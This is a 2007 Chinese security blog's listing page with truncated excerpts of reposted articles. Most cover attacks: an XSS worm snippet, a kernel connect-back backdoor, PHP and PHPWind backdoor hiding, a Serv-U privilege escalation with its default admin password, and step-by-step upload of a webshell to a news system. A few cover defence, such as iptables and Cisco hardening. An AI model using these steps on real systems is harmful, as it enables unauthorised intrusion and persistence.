linkboy的博客_网络安全技术(2)

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

好久不碰技术方面的东西，今天在ChinaCISSP上看到一篇讨论银行主机安全的帖子，心里觉得痒痒的，决定发表一点点想法，谁知道话匣子打开了越说越多，竟然鸡零狗碎扯了一通，后来不舍得丢弃，就把他记录在自己的blog里。] 其实作为银行这样的公司，他们对于IT系统的依赖以及这些系统地对外开放性决定了他们需要比一般企业要多花更多的精力来保护他们的IT系统。而从技术层面来讲，IT系统中间最容易出问题又最

系统

银行

网络安全

老三样

断想

转载精选 2007-11-07 10:40:00 726 阅读

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

在BBS上看到有人转贴的一篇评价COSO的文章，一口气看完，觉得文采、分析都非常有特点，是我喜欢的类型 :) 故转贴之~~~~ 文章有点长，帮忙总结一下中心思想:) 文章作者主要想说明 CPA为了最大化自己的利益，制定出的COSO框架存在不少缺陷，一是内部控制的范围不够宽，没有包括本应是内部控制一部分的战略规划、风险管理和纠正行为。二是内部控制的目标从范围和内容上都不够准确，范围上来说缺少对资产

信息安全

框架

脑袋

COSO

屁股

转载精选 2007-11-07 10:39:00 770 阅读

一个不为人知的感染几百万校内网用户的蠕虫分析

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。 Copy code <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")"

蠕虫

用户

休闲

感染

不为人知

转载精选 2007-11-01 11:28:00 595 阅读

一个简单的内核后门原型

这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵 /* * Kernel mode connect backdoor,haha~ * * just a demo module to teach you how to write a backdoor in kernel mode, * i belive you can add more code to ma

职场

内核

休闲

后门

原型

转载精选 2007-10-25 17:41:00 540 阅读

maxthon2(遨游2) mxsafe.dll对网页木马的防护以及绕过

maxthon2启动的时候装载mxsafe.dll对一些api进行了hook.在浏览器里运行程序,如果这些程序不在其信任列表里面,就会蹦个框,要求允许/禁止.所以,大部分下载木马在启动的时候就被检测到了. 要知道mxsafe hook了哪些api. od maxthon.exe, bp WriteProcessMemory, F9看改了哪些地址.或者启动maxthon.exe,用rooktit

网页

dll

防护

mxsafe

转载精选 2007-10-20 17:41:00 824 阅读

A new way to inject backdoor in PHPWind

by superhei 2007-10-08 http://www.ph4nt0m.org Text Mode pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_r

new

休闲

PHPWind

backdoor

inject

转载精选 2007-10-20 17:41:00 774 阅读

溢出提权攻击解决办法

在恶意用户频频攻击、系统漏洞层出不穷的今天，作为网络管理员、系统管理员虽然在服务器的安全上都下了不少功夫，诸如及时打上系统安全补丁、进行一些常规的安全配置，但有时仍不安全。因此必须恶意用户入侵之前，通过一些系列安全设置，来将入侵者们挡在“安全门”之外，下面就将最简单、最有效的防(Overflow)溢出、本地提供权限攻击类的解决办法给大家分享。一、如何防止溢出类攻击 1

职场

攻击

解决

办法

休闲

转载精选 2007-10-20 11:38:00 693 阅读

Serv-u6.0提权新玩法

郑重申明，此文章乃zero的文章，并非本人所写适用环境：服务器禁用FSO，关掉Wscript.shelll,没有执行权限。限制：没有更改管理员的密码，或者破解出了Serv-U 的管理员的密码。Serv-U默认用户名：localadministrator 密码：#|@$ak#.|k;0@p 下面用 MSWinsock.Winsock建立一个连接，并且以System权限添加超级用户，代码如下：

职场

休闲

玩法

权新

转载精选 2007-10-20 11:38:00 638 阅读

不为人知的动网7.1 SQL版注入漏洞

文章难易度：★★★ 文章阅读点：动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell 话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章，不知大家都掌握了没有，令人兴奋的是，没过几在就又暴出了另一个动网7.1 SQL版的最新注入漏洞，这个漏洞可以直接更改任意用户的密码或直接添加论坛管理员，危害相当严重！存在漏洞的文件为dv_dpo.asp，有兴趣的朋友可以自行阅

SQL

漏洞

数据库

休闲

不为人知

转载精选 2007-10-19 21:12:00 918 阅读

去除XP SP2对raw socket的一些限制

http://www.opencjk.org/~scz/windows/200701091750.txt A: scz@nsfocus.com 2007-01-09 17:50 现在已经是众所周知，XP SP2对raw socket做了一些限制，最引人注目的有两条: 1) 不能通过raw socket发送TCP报文。做此尝试时会得到10004号错误。 2) 不能通过raw socket发送

职场

socket

raw

休闲

转载精选 2007-10-17 20:32:00 779 阅读

pw的一个放后门的方式

pw的一个放后门的方式 data\bbscache\admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的: admin\admincp.php: $bbsrecordfile=D_P."data/bbscache/admin_record.php"; if(!file_exists($bbsrecordfile)){ writeover

职场

休闲

后门

转载精选 2007-10-08 10:56:00 672 阅读

XSS蠕虫病毒可能爆发将威胁互联网安全

新闻来源:HARDSPELL/硬派网安全研究者最近发出警告，由于目前浏览器技术中的缺陷，互联网用户有可能面临一次非常严重的蠕虫病毒爆发。名为GNU Citizen的黑客组织已经发布了一些有关跨站脚本(cross-site scripting，XSS)漏洞的细节，据此可以通过浏览器向用户电脑植入恶意程序。蠕虫将能够扫描那些包含漏洞网页的IP地址，然后在整个网络上迅速流行开来。这些漏洞目前已经

互联网

威胁

XSS

爆发

转载精选 2007-10-07 18:58:00 442 阅读

自动屏蔽远程主机穷举密码-2 iptables

遵循GUN版权 #!/bin/bash MONITOR_FILE="/var/log/messages" MONITOR_LOG_FILE="/var/crontab/anti_scan.log" TABLES="/tmp/anti_scan.pid" tmp="/tmp/anti_scan.pid.tmp"

密码

主机

iptables

休闲

自动

转载精选 2007-09-28 10:35:00 540 阅读

职场

漏洞

休闲

转载精选 2007-09-25 18:00:00 1047 阅读

div+css与SEO

不少网站都开始使用日趋主流的div+css对网站进行重构，div+css的好处除了使代码简洁改版方便之外，我们对网站进行SEO也是有好处的，星箭并不是说div+css在SEO中效果一定大于table布局，我是指对网站做SEO优化的时候能省掉不少麻烦。 div+css重构网站的好处： 1，提高搜索引擎对网页的索引效率  提高spider爬行效率，能在最短的时间内爬完整个页面，这

职场

css

div

SEO

休闲

转载精选 2007-09-16 09:48:00 388 阅读

脚本后门注入图片新方法老帖

老帖，原来的Blog废了。重新帖一下自从臭要饭的发布了那个脚本隐藏于图片中的程序之后（没看的朋友参见前面的文章），不断就有人来说什么程序不好用拉，图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并，却一直发现行不通，原因是不明：我一用copy合并后，图片的结构就被我破坏了，放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得

职场

脚本

休闲

后门

转载精选 2007-09-11 21:11:00 652 阅读

雷池新闻发布系统uploadPic.asp漏洞

1.在Google搜关键字:inurl:leichinews 2.找到以下网址,如:http://www.13lang.com/leichinews/onews.asp?id=71 3.我们把leichinews/后面的改成admin/uploadPic.asp?actionType=mod&picName=13lang.asp 提交 4.把我们的小马改成.gif后缀上传,

asp

漏洞

uploadPic

新闻发布

雷池

转载精选 2007-08-25 15:35:00 2837 阅读

如何对PHP程序中的常见漏洞进行攻击

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PH

PHP

攻击

程序

漏洞

休闲

转载精选 2007-08-12 10:26:00 369 阅读

win2000单网卡创建vpn服务器

vpn对于玩黑的人来说好处太多,就不用说了. 今天遇到一高速台湾肉机,通过千幸万苦拿了个webshell,还好,它装了pcanywhere的,当然下cif文件,把用户和密码读出来,连接上去ok. 发现速度还不错,可pcanywhere的画面就是没有3389的爽,于是开了个3389,主要是我想建个vpn服务器,这么高速的服务器不建vpn可惜了,ping的返可是180. 当我建vpn的时候才发现

职场

vpn

服务器

网卡

休闲

转载精选 2007-07-03 17:46:00 574 阅读

Arp×××络版

Arp杀手网络版功能 1.防范拦截Arp攻击，并且在服务器端有报警，可以方便网管进行跟踪。 2.自定义需要禁止使用的软件。防止网络带宽被P2P软件堵塞。使用说明：网管先用服务器端设置好服务器IP和要监控并关闭的进程（比如P2P软件Poco.exe,PPlive.exe）后将生成的killlist.ini和config.ini拷贝到客户端。然后到每台机器上建立一个文件架放

职场

Arp

杀手

网络版

休闲

转载精选 2007-06-25 18:03:00 564 阅读

研究称黑客利用P2P发动攻击更加普遍

新浪科技　　新浪科技讯北京时间5月31日消息，据国外媒体报道，安全专家近日表示，黑客正越来越多地利用P2P网络欺骗一些PC对其它计算机发动攻击。　　计算机科学家此前已经展示了如何利用P2P网络欺骗多台联网计算机攻击一台单独的计算机，如果产生的流量足够大，就会导致目标计算机瘫痪。即使目标计算机并不属于P2P网络的一部分，这一攻击方法同样适用。安全专家近日发出警告，P2P网络正越来越多地被用于

职场

攻击

研究

休闲

转载精选 2007-06-02 14:22:00 309 阅读

你的验证码安全吗？

验证码的作用主要有防止暴力破解，防止恶意灌水，防止自动提交等，在这里我就不多说了。验证码的类型也有数字、字母等，甚至厉害点的还有中文的。但是不管你的验证码多么厉害，只要你在表单验证中存在如下的失误，你的验证码就形同虚设！验证码的一般思路，就是每次登陆的地方访问一个脚本文件，该文件生成含验证码的图片并将值写入到Session里，提交的时候验证登陆的脚本就会判断提交的验证码是否与Session里的

职场

验证

休闲

转载精选 2007-06-02 13:54:00 454 阅读

黑客的致命诱惑－－蜜罐程序

来源：网管联盟不少网络安全的前辈都写过很多蜜罐的实现方法,比如用VMWare和VirtualPC等.不过这对于我们来说有些困难.今天就介绍个软件给大家用用,他拥有蜜罐的基本功能,这就是DEFNET公司出品的Defnet Honeypot 2004. 　　DEFNET公司的网址是www.defnet.com.br可以看出这是一家巴西的公司,问题是`````主页都是葡萄牙语!不过还好软件是英文

职场

程序

蜜罐

休闲

转载精选 2007-05-25 09:29:00 799 阅读

Developing A PHP Core Backdoor

Author: wofeiwo/GaRY <wofeiwo_at_gmail_dot_com> 目录 1)前言 2)优缺点 3)设计 4)功能实现 5)参考文档 6)一些说明 1)前言 PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现.由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(mod

PHP

Core

休闲

Backdoor

Developing

转载精选 2007-05-25 09:28:00 1367 阅读

PHP后门隐藏技术再探--太强了

作者：lis0 来源：lis0's Blog 测试环境：Apache/2.0.49 (Win32) PHP/4.3.1+Winxp sp2 最近在看完了一个程序的代码后又重新温习了PHP中文手册，在看的过程中突然想到了一个隐藏后门的方法，拿来给大家分享下嘿嘿:) 在入侵服务器后如何能将后门做到不被管理员大叔发现这是很重要的。因此就出现了各种隐藏的方法，对于php来说大多是插入<?e

PHP

技术

隐藏

休闲

后门

转载精选 2007-05-19 10:40:00 867 阅读

遭遇asp.dll被修改挂马

朋友今天早上给我信息说，网站服务器所有asp页面被挂马了，但是asp文件中没发现任何挂马的代码，第一感觉是被人加载了isapi筛选程序挂马了，但是上了服务器一看，没有可疑的isapi加载。看了下asp.dll，跟另一台服务器做了对比，竟然比另一台服务器的asp.dll大出来了几十k！怀疑是asp.dll被替换挂马的，但是以前没遇到过，不知道是不是真的是修改了asp.dll后挂马的原因？

asp

职场

dll

遭遇

休闲

转载精选 2007-05-16 19:31:00 822 阅读

PHP后门的隐藏技巧测试报告

来源:混世魔王 de BLOG 最近有人问我是否能把我那一句话木马隐藏到HTML或图片里，其实把一句话木马插入到PHP文件中就已经很隐蔽了，如果说硬是要放到HTML文件或图片里，就接着往下看这篇的篇测试报告吧。要知道如果光把PHP语句放到图片里是无论如何也不能执行的，因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数：include

PHP

隐藏

技巧

休闲

后门

转载精选 2007-05-13 10:10:00 658 阅读

在WEB程序中隐藏后门

作者：空虚浪子心　　在很多商业程序中,程序员也许会出于某种目的，在程序中留下后门。我们不讨论这样做的目的是什么，只谈谈如何在程序中隐藏一个“终极后门”。首先给大家看一个例子，去年我写了一篇文章《对校园网的第二次安全检测，文中提到一个类似的后门：“…隐藏账户做后门！…如果不是我先拿到数据库，分析了一段时间以后才拿到程序，相信我也不

程序

隐藏

WEB

休闲

后门

转载精选 2007-04-15 15:28:00 672 阅读

局域网IP地址非法使用问题的解决方法

在大多数局域网的运行管理工作中，网络管理员负责管理用户IP地址的分配，用户通过正确地注册后才被认为是合法用户。在局域网上任何用户使用未经授权的IP地址都应视为IP非法使用。但在Windows操作系统中，终端用户可以自由修改IP地址的设置，从而产生了IP地址非法使用的问题。改动后的IP地址在局域网中运行时可能出现的情况如下。?? 　　　　a. 非法的IP地址即IP地址不在规划的局域网范围内。

局域网

职场

解决

地址

休闲

转载精选 2007-03-27 09:16:00 481 阅读

cisco路由器及交换机安全加固

Cisco路由器及交换机安全加固关键词：Cisco、IOS、信息安全根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应用系统增强系统的整体安全；二是控制层面的

交换机

cisco

路由器

休闲

加固

转载精选 2007-02-28 15:01:00 471 阅读 1收藏

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy